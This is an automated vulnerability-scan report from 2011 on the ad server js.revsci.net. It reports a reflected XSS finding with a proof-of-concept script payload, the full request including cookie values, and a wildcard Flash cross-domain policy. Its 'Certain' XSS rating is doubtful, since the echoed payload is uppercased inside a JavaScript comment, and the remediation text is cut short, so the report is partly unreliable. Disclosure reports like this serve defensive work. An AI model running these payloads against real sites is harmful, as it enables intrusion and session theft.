XSS, Ad CDN, DORK Example, Cross Site Scripting, js.revsci.net

The API is used by an application that may be XSS'd, test the Application :->

Report generated by XSS.CX at Sat Mar 12 08:01:37 CST 2011.


XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

Loading

1. Cross-site scripting (reflected)

2. Flash cross-domain policy



1. Cross-site scripting (reflected)  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://js.revsci.net
Path:   /gateway/gw.js

Issue detail

The value of the csid request parameter is copied into the HTML document as plain text between tags. The payload deae4<script>alert(1)</script>1124a3d6036 was submitted in the csid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /gateway/gw.js?csid=I10985deae4<script>alert(1)</script>1124a3d6036&auto=t HTTP/1.1
Host: js.revsci.net
Proxy-Connection: keep-alive
Referer: http://www.ivillage.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: NETID01=1a484aca566591c53c93394519ccf266; rsiPus_0="MLsXrEEucT5zIBH3Qpx+rOCHV9wTIf62V307nImZlEBw76YpcfzcZFr0RWvrtRsL1Wr8YdprMhhJd15eFUYGqJstP2duQv8PkdiB0lhkBml9ADYHA1ooiLCxxE4ZbZ6dBJlUHDgyYQ0dWGNgk2mU/6IWZPFutmXvjkfCaZ8XNFt00xjNbdPTO5Zy3pjFEXPPiN9sqakOxmiPznF2pe+333CVmVWtapVbuhz0jSjKWdMeE2eBsBSvtYkc0fmomYLtyi+Lts1umyzd9z/SrKTmNmTnFBMFArLCfjigahHLEoWhBrWvrSf8IrxyRfMTPFuk5iOzQgPN/kcU9HlxpNtUXKVd6mKr30sFlylIwkI9VjAWygBVrOHtwrSI7YvNNUqNCBU5c3lYOKS3+UBPVKDwLi0H3JXAmFxwbNP3r+5Rck+Pdm9kW/4="; NETSEGS_A09802=3161248fde72e26b&A09802&0&4d85fa5c&0&&4d608f7f&0383df689f9c2c8ede3ba30f48f38e86; NETSEGS_J08778=3161248fde72e26b&J08778&0&4d85fa7d&0&&4d6079fc&0383df689f9c2c8ede3ba30f48f38e86; NETSEGS_H07710=3161248fde72e26b&H07710&0&4d85ff07&0&&4d608185&0383df689f9c2c8ede3ba30f48f38e86; NETSEGS_I07714=3161248fde72e26b&I07714&0&4d87cbdc&0&&4d6207bf&0383df689f9c2c8ede3ba30f48f38e86; NETSEGS_E05516=3161248fde72e26b&E05516&0&4d87cc14&0&&4d61f497&0383df689f9c2c8ede3ba30f48f38e86; NETSEGS_B08725=3161248fde72e26b&B08725&0&4d87cc1e&0&&4d61ce1b&0383df689f9c2c8ede3ba30f48f38e86; NETSEGS_J05531=3161248fde72e26b&J05531&0&4d87ccbf&0&&4d61e0ee&0383df689f9c2c8ede3ba30f48f38e86; rsi_us_1000000=pUMd4h9HORYYbVW36h3GjuO5F8Cz/ixbrri2GgYOGLS/IqjGr+Qo+iexxwPA/VIw0f2bCU+BNgLVkSuwP+Tj0c4s8TMyRqe8kfjSDk6IvTUIbKlALkPuuuLw9/DZZ6eK6gG24oOnihyimfcCk1VpOjBIn4e1g5CAbS8+FcJyxOqtsLfhWlt4lu+JFl+83+eTxuayWGN10ZCr1q/cwBg6FTe4z6rkZ918fXlCvvsmR9A95o4XVZSNc++EeIk9q2L3BsOiCndbwphnR33jF0SATn6wnvpipBopWcaJmMdE4WH0/IurWRich7jklB/MoKjj9klljIvR/ak38ptcZkRUhs4wo5GtLghLY0np205OuRnvAM9i4ppzY4Ag7FD6zJA2k1r70nkiotsEKNhxJRF1fN7GlosRhHj2INzY2zXMcfJ6HtTUkIK/hadeiLw11Liato8buRKvKPRkUnPgRNQOhNOcdItg/RCoFlC4l6MYFHoxgBCbwMEAUEoj0C3Y/UuOODncngytC8c0LhKvjOqMcXpZRSQ7iXxjhlkQYlgx86n+As4KNtnnZr7kDXbMI4InAY9RwSTXhVRzCcfNwOM+0tuU8Y3A7xfZKRlOWNTtSbN5cTpkSd80IyHhywlb5uqQy+798QHsyr776O/a9/xcCM+bk57n6Lz2Z/U3rQ6/r9le5h0Ky3lp8R5Sh5W6Aa18cZvMUVQYX8q/BSJVUpF+K83BbGZuRGWxfD4UqzTiGbmddQesacYU++Fc4J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N/jkDhxwuh163YITo0t6ToKuGeeFipr/rBEYK636NF3MJ/iBINsNeOLM6Via6dlaP9lNcl4bNwrd11+oAHhd/SfNS67Odt/3ceCSzgykN+eRcgNBeHNz6SMu/bOienN/lJeodFyQS7mIrPHlybuixROivTtliPyGTiR21oe/wevxc5LIylyfTdETUS7mTxUkQVVqp4GumhPBeYZgSAxD8TEchO3pEw7Tl9OCLnI6BXpUSUZKYCflPnhVGT1Rjf

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Sat, 12 Mar 2011 13:49:48 GMT
Cache-Control: max-age=86400, private
Expires: Sun, 13 Mar 2011 13:49:48 GMT
X-Proc-ms: 0
Content-Type: application/javascript;charset=ISO-8859-1
Vary: Accept-Encoding
Date: Sat, 12 Mar 2011 13:49:48 GMT
Content-Length: 128

/*
* JavaScript include error:
* The customer code "I10985DEAE4<SCRIPT>ALERT(1)</SCRIPT>1124A3D6036" was not recognized.
*/

2. Flash cross-domain policy  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://js.revsci.net
Path:   /crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

Request

GET /crossdomain.xml HTTP/1.0
Host: js.revsci.net

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: application/xml
Date: Sat, 12 Mar 2011 13:49:44 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<!-- allow Flash 7+ players to invoke JS from this server -->
<cross-domain-po
...[SNIP]...
<allow-access-from domain="*" secure="false"/>
...[SNIP]...

Report generated by XSS.CX at Sat Mar 12 08:01:37 CST 2011.